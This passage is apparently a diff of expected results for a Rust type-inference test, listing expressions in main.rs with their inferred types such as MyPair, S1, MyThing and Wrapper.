main.rs:337:26:337:26 | y | A | main.rs:157:5:158:14 | S2 | +| main.rs:337:26:337:28 | y.a | | main.rs:157:5:158:14 | S2 | +| main.rs:340:13:340:13 | a | | main.rs:149:5:153:5 | MyPair | +| main.rs:340:13:340:13 | a | P1 | main.rs:155:5:156:14 | S1 | +| main.rs:340:13:340:13 | a | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:340:17:340:41 | MyPair {...} | | main.rs:149:5:153:5 | MyPair | +| main.rs:340:17:340:41 | MyPair {...} | P1 | main.rs:155:5:156:14 | S1 | +| main.rs:340:17:340:41 | MyPair {...} | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:340:30:340:31 | S1 | | main.rs:155:5:156:14 | S1 | +| main.rs:340:38:340:39 | S1 | | main.rs:155:5:156:14 | S1 | +| main.rs:341:13:341:13 | x | | main.rs:155:5:156:14 | S1 | +| main.rs:341:17:341:26 | get_fst(...) | | main.rs:155:5:156:14 | S1 | +| main.rs:341:25:341:25 | a | | main.rs:149:5:153:5 | MyPair | +| main.rs:341:25:341:25 | a | P1 | main.rs:155:5:156:14 | S1 | +| main.rs:341:25:341:25 | a | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:342:26:342:26 | x | | main.rs:155:5:156:14 | S1 | +| main.rs:343:13:343:13 | y | | main.rs:155:5:156:14 | S1 | +| main.rs:343:17:343:26 | get_snd(...) | | main.rs:155:5:156:14 | S1 | +| main.rs:343:25:343:25 | a | | main.rs:149:5:153:5 | MyPair | +| main.rs:343:25:343:25 | a | P1 | main.rs:155:5:156:14 | S1 | +| main.rs:343:25:343:25 | a | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:344:26:344:26 | y | | main.rs:155:5:156:14 | S1 | +| main.rs:347:13:347:13 | b | | main.rs:149:5:153:5 | MyPair | +| main.rs:347:13:347:13 | b | P1 | main.rs:157:5:158:14 | S2 | +| main.rs:347:13:347:13 | b | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:347:17:347:41 | MyPair {...} | | main.rs:149:5:153:5 | MyPair | +| main.rs:347:17:347:41 | MyPair {...} | P1 | main.rs:157:5:158:14 | S2 | +| main.rs:347:17:347:41 | MyPair {...} | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:347:30:347:31 | S2 | | main.rs:157:5:158:14 | S2 | +| main.rs:347:38:347:39 | S1 | | main.rs:155:5:156:14 | S1 | +| main.rs:348:13:348:13 | x | | main.rs:155:5:156:14 | S1 | +| main.rs:348:17:348:26 | get_fst(...) | | main.rs:155:5:156:14 | S1 | +| main.rs:348:25:348:25 | b | | main.rs:149:5:153:5 | MyPair | +| main.rs:348:25:348:25 | b | P1 | main.rs:157:5:158:14 | S2 | +| main.rs:348:25:348:25 | b | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:349:26:349:26 | x | | main.rs:155:5:156:14 | S1 | +| main.rs:350:13:350:13 | y | | main.rs:157:5:158:14 | S2 | +| main.rs:350:17:350:26 | get_snd(...) | | main.rs:157:5:158:14 | S2 | +| main.rs:350:25:350:25 | b | | main.rs:149:5:153:5 | MyPair | +| main.rs:350:25:350:25 | b | P1 | main.rs:157:5:158:14 | S2 | +| main.rs:350:25:350:25 | b | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:351:26:351:26 | y | | main.rs:157:5:158:14 | S2 | +| main.rs:353:13:353:13 | c | | main.rs:149:5:153:5 | MyPair | +| main.rs:353:13:353:13 | c | P1 | main.rs:159:5:160:14 | S3 | +| main.rs:353:13:353:13 | c | P2 | main.rs:149:5:153:5 | MyPair | +| main.rs:353:13:353:13 | c | P2.P1 | main.rs:157:5:158:14 | S2 | +| main.rs:353:13:353:13 | c | P2.P2 | main.rs:155:5:156:14 | S1 | +| main.rs:353:17:356:9 | MyPair {...} | | main.rs:149:5:153:5 | MyPair | +| main.rs:353:17:356:9 | MyPair {...} | P1 | main.rs:159:5:160:14 | S3 | +| main.rs:353:17:356:9 | MyPair {...} | P2 | main.rs:149:5:153:5 | MyPair | +| main.rs:353:17:356:9 | MyPair {...} | P2.P1 | main.rs:157:5:158:14 | S2 | +| main.rs:353:17:356:9 | MyPair {...} | P2.P2 | main.rs:155:5:156:14 | S1 | +| main.rs:354:17:354:18 | S3 | | main.rs:159:5:160:14 | S3 | +| main.rs:355:17:355:41 | MyPair {...} | | main.rs:149:5:153:5 | MyPair | +| main.rs:355:17:355:41 | MyPair {...} | P1 | main.rs:157:5:158:14 | S2 | +| main.rs:355:17:355:41 | MyPair {...} | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:355:30:355:31 | S2 | | main.rs:157:5:158:14 | S2 | +| main.rs:355:38:355:39 | S1 | | main.rs:155:5:156:14 | S1 | +| main.rs:357:13:357:13 | x | | main.rs:155:5:156:14 | S1 | +| main.rs:357:17:357:30 | get_snd_fst(...) | | main.rs:155:5:156:14 | S1 | +| main.rs:357:29:357:29 | c | | main.rs:149:5:153:5 | MyPair | +| main.rs:357:29:357:29 | c | P1 | main.rs:159:5:160:14 | S3 | +| main.rs:357:29:357:29 | c | P2 | main.rs:149:5:153:5 | MyPair | +| main.rs:357:29:357:29 | c | P2.P1 | main.rs:157:5:158:14 | S2 | +| main.rs:357:29:357:29 | c | P2.P2 | main.rs:155:5:156:14 | S1 | +| main.rs:359:13:359:17 | thing | | main.rs:144:5:147:5 | MyThing | +| main.rs:359:13:359:17 | thing | A | main.rs:155:5:156:14 | S1 | +| main.rs:359:21:359:37 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | +| main.rs:359:21:359:37 | MyThing {...} | A | main.rs:155:5:156:14 | S1 | +| main.rs:359:34:359:35 | S1 | | main.rs:155:5:156:14 | S1 | +| main.rs:360:17:360:21 | thing | | main.rs:144:5:147:5 | MyThing | +| main.rs:360:17:360:21 | thing | A | main.rs:155:5:156:14 | S1 | +| main.rs:361:13:361:13 | j | | main.rs:155:5:156:14 | S1 | +| main.rs:361:17:361:33 | convert_to(...) | | main.rs:155:5:156:14 | S1 | +| main.rs:361:28:361:32 | thing | | main.rs:144:5:147:5 | MyThing | +| main.rs:361:28:361:32 | thing | A | main.rs:155:5:156:14 | S1 | +| main.rs:378:19:378:22 | SelfParam | | main.rs:376:5:379:5 | Self [trait FirstTrait] | +| main.rs:383:19:383:22 | SelfParam | | main.rs:381:5:384:5 | Self [trait SecondTrait] | +| main.rs:386:64:386:64 | x | | main.rs:386:45:386:61 | T | +| main.rs:388:13:388:14 | s1 | | main.rs:386:35:386:42 | I | +| main.rs:388:18:388:18 | x | | main.rs:386:45:386:61 | T | +| main.rs:388:18:388:27 | x.method() | | main.rs:386:35:386:42 | I | +| main.rs:389:26:389:27 | s1 | | main.rs:386:35:386:42 | I | +| main.rs:392:65:392:65 | x | | main.rs:392:46:392:62 | T | +| main.rs:394:13:394:14 | s2 | | main.rs:392:36:392:43 | I | +| main.rs:394:18:394:18 | x | | main.rs:392:46:392:62 | T | +| main.rs:394:18:394:27 | x.method() | | main.rs:392:36:392:43 | I | +| main.rs:395:26:395:27 | s2 | | main.rs:392:36:392:43 | I | +| main.rs:398:49:398:49 | x | | main.rs:398:30:398:46 | T | +| main.rs:399:13:399:13 | s | | main.rs:368:5:369:14 | S1 | +| main.rs:399:17:399:17 | x | | main.rs:398:30:398:46 | T | +| main.rs:399:17:399:26 | x.method() | | main.rs:368:5:369:14 | S1 | +| main.rs:400:26:400:26 | s | | main.rs:368:5:369:14 | S1 | +| main.rs:403:53:403:53 | x | | main.rs:403:34:403:50 | T | +| main.rs:404:13:404:13 | s | | main.rs:368:5:369:14 | S1 | +| main.rs:404:17:404:17 | x | | main.rs:403:34:403:50 | T | +| main.rs:404:17:404:26 | x.method() | | main.rs:368:5:369:14 | S1 | +| main.rs:405:26:405:26 | s | | main.rs:368:5:369:14 | S1 | +| main.rs:409:16:409:19 | SelfParam | | main.rs:408:5:412:5 | Self [trait Pair] | +| main.rs:411:16:411:19 | SelfParam | | main.rs:408:5:412:5 | Self [trait Pair] | +| main.rs:414:58:414:58 | x | | main.rs:414:41:414:55 | T | +| main.rs:414:64:414:64 | y | | main.rs:414:41:414:55 | T | +| main.rs:416:13:416:14 | s1 | | main.rs:368:5:369:14 | S1 | +| main.rs:416:18:416:18 | x | | main.rs:414:41:414:55 | T | +| main.rs:416:18:416:24 | x.fst() | | main.rs:368:5:369:14 | S1 | +| main.rs:417:13:417:14 | s2 | | main.rs:371:5:372:14 | S2 | +| main.rs:417:18:417:18 | y | | main.rs:414:41:414:55 | T | +| main.rs:417:18:417:24 | y.snd() | | main.rs:371:5:372:14 | S2 | +| main.rs:418:32:418:33 | s1 | | main.rs:368:5:369:14 | S1 | +| main.rs:418:36:418:37 | s2 | | main.rs:371:5:372:14 | S2 | +| main.rs:421:69:421:69 | x | | main.rs:421:52:421:66 | T | +| main.rs:421:75:421:75 | y | | main.rs:421:52:421:66 | T | +| main.rs:423:13:423:14 | s1 | | main.rs:368:5:369:14 | S1 | +| main.rs:423:18:423:18 | x | | main.rs:421:52:421:66 | T | +| main.rs:423:18:423:24 | x.fst() | | main.rs:368:5:369:14 | S1 | +| main.rs:424:13:424:14 | s2 | | main.rs:421:41:421:49 | T2 | +| main.rs:424:18:424:18 | y | | main.rs:421:52:421:66 | T | +| main.rs:424:18:424:24 | y.snd() | | main.rs:421:41:421:49 | T2 | +| main.rs:425:32:425:33 | s1 | | main.rs:368:5:369:14 | S1 | +| main.rs:425:36:425:37 | s2 | | main.rs:421:41:421:49 | T2 | +| main.rs:441:15:441:18 | SelfParam | | main.rs:440:5:449:5 | Self [trait MyTrait] | +| main.rs:443:15:443:18 | SelfParam | | main.rs:440:5:449:5 | Self [trait MyTrait] | +| main.rs:446:9:448:9 | { ... } | | main.rs:440:19:440:19 | A | +| main.rs:447:13:447:16 | self | | main.rs:440:5:449:5 | Self [trait MyTrait] | +| main.rs:447:13:447:21 | self.m1() | | main.rs:440:19:440:19 | A | +| main.rs:452:43:452:43 | x | | main.rs:452:26:452:40 | T2 | +| main.rs:452:56:454:5 | { ... } | | main.rs:452:22:452:23 | T1 | +| main.rs:453:9:453:9 | x | | main.rs:452:26:452:40 | T2 | +| main.rs:453:9:453:14 | x.m1() | | main.rs:452:22:452:23 | T1 | +| main.rs:457:49:457:49 | x | | main.rs:430:5:433:5 | MyThing | +| main.rs:457:49:457:49 | x | T | main.rs:457:32:457:46 | T2 | +| main.rs:457:71:459:5 | { ... } | | main.rs:457:28:457:29 | T1 | +| main.rs:458:9:458:9 | x | | main.rs:430:5:433:5 | MyThing | +| main.rs:458:9:458:9 | x | T | main.rs:457:32:457:46 | T2 | +| main.rs:458:9:458:11 | x.a | | main.rs:457:32:457:46 | T2 | +| main.rs:458:9:458:16 | ... .m1() | | main.rs:457:28:457:29 | T1 | +| main.rs:462:15:462:18 | SelfParam | | main.rs:430:5:433:5 | MyThing | +| main.rs:462:15:462:18 | SelfParam | T | main.rs:461:10:461:10 | T | +| main.rs:462:26:464:9 | { ... } | | main.rs:461:10:461:10 | T | +| main.rs:463:13:463:16 | self | | main.rs:430:5:433:5 | MyThing | +| main.rs:463:13:463:16 | self | T | main.rs:461:10:461:10 | T | +| main.rs:463:13:463:18 | self.a | | main.rs:461:10:461:10 | T | +| main.rs:468:13:468:13 | x | | main.rs:430:5:433:5 | MyThing | +| main.rs:468:13:468:13 | x | T | main.rs:435:5:436:14 | S1 | +| main.rs:468:17:468:33 | MyThing {...} | | main.rs:430:5:433:5 | MyThing | +| main.rs:468:17:468:33 | MyThing {...} | T | main.rs:435:5:436:14 | S1 | +| main.rs:468:30:468:31 | S1 | | main.rs:435:5:436:14 | S1 | +| main.rs:469:13:469:13 | y | | main.rs:430:5:433:5 | MyThing | +| main.rs:469:13:469:13 | y | T | main.rs:437:5:438:14 | S2 | +| main.rs:469:17:469:33 | MyThing {...} | | main.rs:430:5:433:5 | MyThing | +| main.rs:469:17:469:33 | MyThing {...} | T | main.rs:437:5:438:14 | S2 | +| main.rs:469:30:469:31 | S2 | | main.rs:437:5:438:14 | S2 | +| main.rs:471:26:471:26 | x | | main.rs:430:5:433:5 | MyThing | +| main.rs:471:26:471:26 | x | T | main.rs:435:5:436:14 | S1 | +| main.rs:471:26:471:31 | x.m1() | | main.rs:435:5:436:14 | S1 | +| main.rs:472:26:472:26 | y | | main.rs:430:5:433:5 | MyThing | +| main.rs:472:26:472:26 | y | T | main.rs:437:5:438:14 | S2 | +| main.rs:472:26:472:31 | y.m1() | | main.rs:437:5:438:14 | S2 | +| main.rs:474:13:474:13 | x | | main.rs:430:5:433:5 | MyThing | +| main.rs:474:13:474:13 | x | T | main.rs:435:5:436:14 | S1 | +| main.rs:474:17:474:33 | MyThing {...} | | main.rs:430:5:433:5 | MyThing | +| main.rs:474:17:474:33 | MyThing {...} | T | main.rs:435:5:436:14 | S1 | +| main.rs:474:30:474:31 | S1 | | main.rs:435:5:436:14 | S1 | +| main.rs:475:13:475:13 | y | | main.rs:430:5:433:5 | MyThing | +| main.rs:475:13:475:13 | y | T | main.rs:437:5:438:14 | S2 | +| main.rs:475:17:475:33 | MyThing {...} | | main.rs:430:5:433:5 | MyThing | +| main.rs:475:17:475:33 | MyThing {...} | T | main.rs:437:5:438:14 | S2 | +| main.rs:475:30:475:31 | S2 | | main.rs:437:5:438:14 | S2 | +| main.rs:477:26:477:26 | x | | main.rs:430:5:433:5 | MyThing | +| main.rs:477:26:477:26 | x | T | main.rs:435:5:436:14 | S1 | +| main.rs:477:26:477:31 | x.m2() | | main.rs:435:5:436:14 | S1 | +| main.rs:478:26:478:26 | y | | main.rs:430:5:433:5 | MyThing | +| main.rs:478:26:478:26 | y | T | main.rs:437:5:438:14 | S2 | +| main.rs:478:26:478:31 | y.m2() | | main.rs:437:5:438:14 | S2 | +| main.rs:480:13:480:14 | x2 | | main.rs:430:5:433:5 | MyThing | +| main.rs:480:13:480:14 | x2 | T | main.rs:435:5:436:14 | S1 | +| main.rs:480:18:480:34 | MyThing {...} | | main.rs:430:5:433:5 | MyThing | +| main.rs:480:18:480:34 | MyThing {...} | T | main.rs:435:5:436:14 | S1 | +| main.rs:480:31:480:32 | S1 | | main.rs:435:5:436:14 | S1 | +| main.rs:481:13:481:14 | y2 | | main.rs:430:5:433:5 | MyThing | +| main.rs:481:13:481:14 | y2 | T | main.rs:437:5:438:14 | S2 | +| main.rs:481:18:481:34 | MyThing {...} | | main.rs:430:5:433:5 | MyThing | +| main.rs:481:18:481:34 | MyThing {...} | T | main.rs:437:5:438:14 | S2 | +| main.rs:481:31:481:32 | S2 | | main.rs:437:5:438:14 | S2 | +| main.rs:483:26:483:42 | call_trait_m1(...) | | main.rs:435:5:436:14 | S1 | +| main.rs:483:40:483:41 | x2 | | main.rs:430:5:433:5 | MyThing | +| main.rs:483:40:483:41 | x2 | T | main.rs:435:5:436:14 | S1 | +| main.rs:484:26:484:42 | call_trait_m1(...) | | main.rs:437:5:438:14 | S2 | +| main.rs:484:40:484:41 | y2 | | main.rs:430:5:433:5 | MyThing | +| main.rs:484:40:484:41 | y2 | T | main.rs:437:5:438:14 | S2 | +| main.rs:486:13:486:14 | x3 | | main.rs:430:5:433:5 | MyThing | +| main.rs:486:13:486:14 | x3 | T | main.rs:430:5:433:5 | MyThing | +| main.rs:486:13:486:14 | x3 | T.T | main.rs:435:5:436:14 | S1 | +| main.rs:486:18:488:9 | MyThing {...} | | main.rs:430:5:433:5 | MyThing | +| main.rs:486:18:488:9 | MyThing {...} | T | main.rs:430:5:433:5 | MyThing | +| main.rs:486:18:488:9 | MyThing {...} | T.T | main.rs:435:5:436:14 | S1 | +| main.rs:487:16:487:32 | MyThing {...} | | main.rs:430:5:433:5 | MyThing | +| main.rs:487:16:487:32 | MyThing {...} | T | main.rs:435:5:436:14 | S1 | +| main.rs:487:29:487:30 | S1 | | main.rs:435:5:436:14 | S1 | +| main.rs:489:13:489:14 | y3 | | main.rs:430:5:433:5 | MyThing | +| main.rs:489:13:489:14 | y3 | T | main.rs:430:5:433:5 | MyThing | +| main.rs:489:13:489:14 | y3 | T.T | main.rs:437:5:438:14 | S2 | +| main.rs:489:18:491:9 | MyThing {...} | | main.rs:430:5:433:5 | MyThing | +| main.rs:489:18:491:9 | MyThing {...} | T | main.rs:430:5:433:5 | MyThing | +| main.rs:489:18:491:9 | MyThing {...} | T.T | main.rs:437:5:438:14 | S2 | +| main.rs:490:16:490:32 | MyThing {...} | | main.rs:430:5:433:5 | MyThing | +| main.rs:490:16:490:32 | MyThing {...} | T | main.rs:437:5:438:14 | S2 | +| main.rs:490:29:490:30 | S2 | | main.rs:437:5:438:14 | S2 | +| main.rs:493:13:493:13 | a | | main.rs:435:5:436:14 | S1 | +| main.rs:493:17:493:39 | call_trait_thing_m1(...) | | main.rs:435:5:436:14 | S1 | +| main.rs:493:37:493:38 | x3 | | main.rs:430:5:433:5 | MyThing | +| main.rs:493:37:493:38 | x3 | T | main.rs:430:5:433:5 | MyThing | +| main.rs:493:37:493:38 | x3 | T.T | main.rs:435:5:436:14 | S1 | +| main.rs:494:26:494:26 | a | | main.rs:435:5:436:14 | S1 | +| main.rs:495:13:495:13 | b | | main.rs:437:5:438:14 | S2 | +| main.rs:495:17:495:39 | call_trait_thing_m1(...) | | main.rs:437:5:438:14 | S2 | +| main.rs:495:37:495:38 | y3 | | main.rs:430:5:433:5 | MyThing | +| main.rs:495:37:495:38 | y3 | T | main.rs:430:5:433:5 | MyThing | +| main.rs:495:37:495:38 | y3 | T.T | main.rs:437:5:438:14 | S2 | +| main.rs:496:26:496:26 | b | | main.rs:437:5:438:14 | S2 | +| main.rs:507:19:507:22 | SelfParam | | main.rs:501:5:504:5 | Wrapper | +| main.rs:507:19:507:22 | SelfParam | A | main.rs:506:10:506:10 | A | +| main.rs:507:30:509:9 | { ... } | | main.rs:506:10:506:10 | A | +| main.rs:508:13:508:16 | self | | main.rs:501:5:504:5 | Wrapper | +| main.rs:508:13:508:16 | self | A | main.rs:506:10:506:10 | A | +| main.rs:508:13:508:22 | self.field | | main.rs:506:10:506:10 | A | +| main.rs:516:15:516:18 | SelfParam | | main.rs:512:5:526:5 | Self [trait MyTrait] | +| main.rs:518:15:518:18 | SelfParam | | main.rs:512:5:526:5 | Self [trait MyTrait] | +| main.rs:522:9:525:9 | { ... } | | main.rs:513:9:513:28 | AssociatedType | +| main.rs:523:13:523:16 | self | | main.rs:512:5:526:5 | Self [trait MyTrait] | +| main.rs:523:13:523:21 | self.m1() | | main.rs:513:9:513:28 | AssociatedType | +| main.rs:524:13:524:43 | ...::default(...) | | main.rs:513:9:513:28 | AssociatedType | +| main.rs:532:19:532:23 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:532:19:532:23 | SelfParam | &T | main.rs:528:5:538:5 | Self [trait MyTraitAssoc2] | +| main.rs:532:26:532:26 | a | | main.rs:532:16:532:16 | A | +| main.rs:534:22:534:26 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:534:22:534:26 | SelfParam | &T | main.rs:528:5:538:5 | Self [trait MyTraitAssoc2] | +| main.rs:534:29:534:29 | a | | main.rs:534:19:534:19 | A | +| main.rs:534:35:534:35 | b | | main.rs:534:19:534:19 | A | +| main.rs:534:75:537:9 | { ... } | | main.rs:529:9:529:52 | GenericAssociatedType | +| main.rs:535:13:535:16 | self | | file://:0:0:0:0 | & | +| main.rs:535:13:535:16 | self | &T | main.rs:528:5:538:5 | Self [trait MyTraitAssoc2] | +| main.rs:535:13:535:23 | self.put(...) | | main.rs:529:9:529:52 | GenericAssociatedType | +| main.rs:535:22:535:22 | a | | main.rs:534:19:534:19 | A | +| main.rs:536:13:536:16 | self | | file://:0:0:0:0 | & | +| main.rs:536:13:536:16 | self | &T | main.rs:528:5:538:5 | Self [trait MyTraitAssoc2] | +| main.rs:536:13:536:23 | self.put(...) | | main.rs:529:9:529:52 | GenericAssociatedType | +| main.rs:536:22:536:22 | b | | main.rs:534:19:534:19 | A | +| main.rs:545:21:545:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:545:21:545:25 | SelfParam | &T | main.rs:540:5:550:5 | Self [trait TraitMultipleAssoc] | +| main.rs:547:20:547:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:547:20:547:24 | SelfParam | &T | main.rs:540:5:550:5 | Self [trait TraitMultipleAssoc] | +| main.rs:549:20:549:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:549:20:549:24 | SelfParam | &T | main.rs:540:5:550:5 | Self [trait TraitMultipleAssoc] | +| main.rs:565:15:565:18 | SelfParam | | main.rs:552:5:553:13 | S | +| main.rs:565:45:567:9 | { ... } | | main.rs:558:5:559:14 | AT | +| main.rs:566:13:566:14 | AT | | main.rs:558:5:559:14 | AT | +| main.rs:575:19:575:23 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:575:19:575:23 | SelfParam | &T | main.rs:552:5:553:13 | S | +| main.rs:575:26:575:26 | a | | main.rs:575:16:575:16 | A | +| main.rs:575:46:577:9 | { ... } | | main.rs:501:5:504:5 | Wrapper | +| main.rs:575:46:577:9 | { ... } | A | main.rs:575:16:575:16 | A | +| main.rs:576:13:576:32 | Wrapper {...} | | main.rs:501:5:504:5 | Wrapper | +| main.rs:576:13:576:32 | Wrapper {...} | A | main.rs:575:16:575:16 | A | +| main.rs:576:30:576:30 | a | | main.rs:575:16:575:16 | A | +| main.rs:584:15:584:18 | SelfParam | | main.rs:555:5:556:14 | S2 | +| main.rs:584:45:586:9 | { ... } | | main.rs:501:5:504:5 | Wrapper | +| main.rs:584:45:586:9 | { ... } | A | main.rs:555:5:556:14 | S2 | +| main.rs:585:13:585:35 | Wrapper {...} | | main.rs:501:5:504:5 | Wrapper | +| main.rs:585:13:585:35 | Wrapper {...} | A | main.rs:555:5:556:14 | S2 | +| main.rs:585:30:585:33 | self | | main.rs:555:5:556:14 | S2 | +| main.rs:591:30:593:9 | { ... } | | main.rs:501:5:504:5 | Wrapper | +| main.rs:591:30:593:9 | { ... } | A | main.rs:555:5:556:14 | S2 | +| main.rs:592:13:592:33 | Wrapper {...} | | main.rs:501:5:504:5 | Wrapper | +| main.rs:592:13:592:33 | Wrapper {...} | A | main.rs:555:5:556:14 | S2 | +| main.rs:592:30:592:31 | S2 | | main.rs:555:5:556:14 | S2 | +| main.rs:597:22:597:26 | thing | | main.rs:597:10:597:19 | T | +| main.rs:598:9:598:13 | thing | | main.rs:597:10:597:19 | T | +| main.rs:605:21:605:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:605:21:605:25 | SelfParam | &T | main.rs:558:5:559:14 | AT | +| main.rs:605:34:607:9 | { ... } | | main.rs:558:5:559:14 | AT | +| main.rs:606:13:606:14 | AT | | main.rs:558:5:559:14 | AT | +| main.rs:609:20:609:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:609:20:609:24 | SelfParam | &T | main.rs:558:5:559:14 | AT | +| main.rs:609:43:611:9 | { ... } | | main.rs:552:5:553:13 | S | +| main.rs:610:13:610:13 | S | | main.rs:552:5:553:13 | S | +| main.rs:613:20:613:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:613:20:613:24 | SelfParam | &T | main.rs:558:5:559:14 | AT | +| main.rs:613:43:615:9 | { ... } | | main.rs:555:5:556:14 | S2 | +| main.rs:614:13:614:14 | S2 | | main.rs:555:5:556:14 | S2 | +| main.rs:619:13:619:14 | x1 | | main.rs:552:5:553:13 | S | +| main.rs:619:18:619:18 | S | | main.rs:552:5:553:13 | S | +| main.rs:621:26:621:27 | x1 | | main.rs:552:5:553:13 | S | +| main.rs:621:26:621:32 | x1.m1() | | main.rs:558:5:559:14 | AT | +| main.rs:623:13:623:14 | x2 | | main.rs:552:5:553:13 | S | +| main.rs:623:18:623:18 | S | | main.rs:552:5:553:13 | S | +| main.rs:625:13:625:13 | y | | main.rs:558:5:559:14 | AT | +| main.rs:625:17:625:18 | x2 | | main.rs:552:5:553:13 | S | +| main.rs:625:17:625:23 | x2.m2() | | main.rs:558:5:559:14 | AT | +| main.rs:626:26:626:26 | y | | main.rs:558:5:559:14 | AT | +| main.rs:628:13:628:14 | x3 | | main.rs:552:5:553:13 | S | +| main.rs:628:18:628:18 | S | | main.rs:552:5:553:13 | S | +| main.rs:630:26:630:27 | x3 | | main.rs:552:5:553:13 | S | +| main.rs:630:26:630:34 | x3.put(...) | | main.rs:501:5:504:5 | Wrapper | +| main.rs:633:26:633:27 | x3 | | main.rs:552:5:553:13 | S | +| main.rs:635:20:635:20 | S | | main.rs:552:5:553:13 | S | +| main.rs:638:13:638:14 | x5 | | main.rs:555:5:556:14 | S2 | +| main.rs:638:18:638:19 | S2 | | main.rs:555:5:556:14 | S2 | +| main.rs:639:26:639:27 | x5 | | main.rs:555:5:556:14 | S2 | +| main.rs:639:26:639:32 | x5.m1() | | main.rs:501:5:504:5 | Wrapper | +| main.rs:639:26:639:32 | x5.m1() | A | main.rs:555:5:556:14 | S2 | +| main.rs:640:13:640:14 | x6 | | main.rs:555:5:556:14 | S2 | +| main.rs:640:18:640:19 | S2 | | main.rs:555:5:556:14 | S2 | +| main.rs:641:26:641:27 | x6 | | main.rs:555:5:556:14 | S2 | +| main.rs:641:26:641:32 | x6.m2() | | main.rs:501:5:504:5 | Wrapper | +| main.rs:641:26:641:32 | x6.m2() | A | main.rs:555:5:556:14 | S2 | +| main.rs:643:13:643:22 | assoc_zero | | main.rs:558:5:559:14 | AT | +| main.rs:643:26:643:27 | AT | | main.rs:558:5:559:14 | AT | +| main.rs:643:26:643:38 | AT.get_zero() | | main.rs:558:5:559:14 | AT | +| main.rs:644:13:644:21 | assoc_one | | main.rs:552:5:553:13 | S | +| main.rs:644:25:644:26 | AT | | main.rs:558:5:559:14 | AT | +| main.rs:644:25:644:36 | AT.get_one() | | main.rs:552:5:553:13 | S | +| main.rs:645:13:645:21 | assoc_two | | main.rs:555:5:556:14 | S2 | +| main.rs:645:25:645:26 | AT | | main.rs:558:5:559:14 | AT | +| main.rs:645:25:645:36 | AT.get_two() | | main.rs:555:5:556:14 | S2 | +| main.rs:662:15:662:18 | SelfParam | | main.rs:650:5:654:5 | MyEnum | +| main.rs:662:15:662:18 | SelfParam | A | main.rs:661:10:661:10 | T | +| main.rs:662:26:667:9 | { ... } | | main.rs:661:10:661:10 | T | +| main.rs:663:13:666:13 | match self { ... } | | main.rs:661:10:661:10 | T | +| main.rs:663:19:663:22 | self | | main.rs:650:5:654:5 | MyEnum | +| main.rs:663:19:663:22 | self | A | main.rs:661:10:661:10 | T | +| main.rs:664:28:664:28 | a | | main.rs:661:10:661:10 | T | +| main.rs:664:34:664:34 | a | | main.rs:661:10:661:10 | T | +| main.rs:665:30:665:30 | a | | main.rs:661:10:661:10 | T | +| main.rs:665:37:665:37 | a | | main.rs:661:10:661:10 | T | +| main.rs:671:13:671:13 | x | | main.rs:650:5:654:5 | MyEnum | +| main.rs:671:13:671:13 | x | A | main.rs:656:5:657:14 | S1 | +| main.rs:671:17:671:30 | ...::C1(...) | | main.rs:650:5:654:5 | MyEnum | +| main.rs:671:17:671:30 | ...::C1(...) | A | main.rs:656:5:657:14 | S1 | +| main.rs:671:28:671:29 | S1 | | main.rs:656:5:657:14 | S1 | +| main.rs:672:13:672:13 | y | | main.rs:650:5:654:5 | MyEnum | +| main.rs:672:13:672:13 | y | A | main.rs:658:5:659:14 | S2 | +| main.rs:672:17:672:36 | ...::C2 {...} | | main.rs:650:5:654:5 | MyEnum | +| main.rs:672:17:672:36 | ...::C2 {...} | A | main.rs:658:5:659:14 | S2 | +| main.rs:672:33:672:34 | S2 | | main.rs:658:5:659:14 | S2 | +| main.rs:674:26:674:26 | x | | main.rs:650:5:654:5 | MyEnum | +| main.rs:674:26:674:26 | x | A | main.rs:656:5:657:14 | S1 | +| main.rs:674:26:674:31 | x.m1() | | main.rs:656:5:657:14 | S1 | +| main.rs:675:26:675:26 | y | | main.rs:650:5:654:5 | MyEnum | +| main.rs:675:26:675:26 | y | A | main.rs:658:5:659:14 | S2 | +| main.rs:675:26:675:31 | y.m1() | | main.rs:658:5:659:14 | S2 | +| main.rs:697:15:697:18 | SelfParam | | main.rs:695:5:698:5 | Self [trait MyTrait1] | +| main.rs:701:15:701:18 | SelfParam | | main.rs:700:5:711:5 | Self [trait MyTrait2] | +| main.rs:704:9:710:9 | { ... } | | main.rs:700:20:700:22 | Tr2 | +| main.rs:705:13:709:13 | if ... {...} else {...} | | main.rs:700:20:700:22 | Tr2 | +| main.rs:705:26:707:13 | { ... } | | main.rs:700:20:700:22 | Tr2 | +| main.rs:706:17:706:20 | self | | main.rs:700:5:711:5 | Self [trait MyTrait2] | +| main.rs:706:17:706:25 | self.m1() | | main.rs:700:20:700:22 | Tr2 | +| main.rs:707:20:709:13 | { ... } | | main.rs:700:20:700:22 | Tr2 | +| main.rs:708:17:708:30 | ...::m1(...) | | main.rs:700:20:700:22 | Tr2 | +| main.rs:708:26:708:29 | self | | main.rs:700:5:711:5 | Self [trait MyTrait2] | +| main.rs:714:15:714:18 | SelfParam | | main.rs:713:5:724:5 | Self [trait MyTrait3] | +| main.rs:717:9:723:9 | { ... } | | main.rs:713:20:713:22 | Tr3 | +| main.rs:718:13:722:13 | if ... {...} else {...} | | main.rs:713:20:713:22 | Tr3 | +| main.rs:718:26:720:13 | { ... } | | main.rs:713:20:713:22 | Tr3 | +| main.rs:719:17:719:20 | self | | main.rs:713:5:724:5 | Self [trait MyTrait3] | +| main.rs:719:17:719:25 | self.m2() | | main.rs:680:5:683:5 | MyThing | +| main.rs:719:17:719:25 | self.m2() | A | main.rs:713:20:713:22 | Tr3 | +| main.rs:719:17:719:27 | ... .a | | main.rs:713:20:713:22 | Tr3 | +| main.rs:720:20:722:13 | { ... } | | 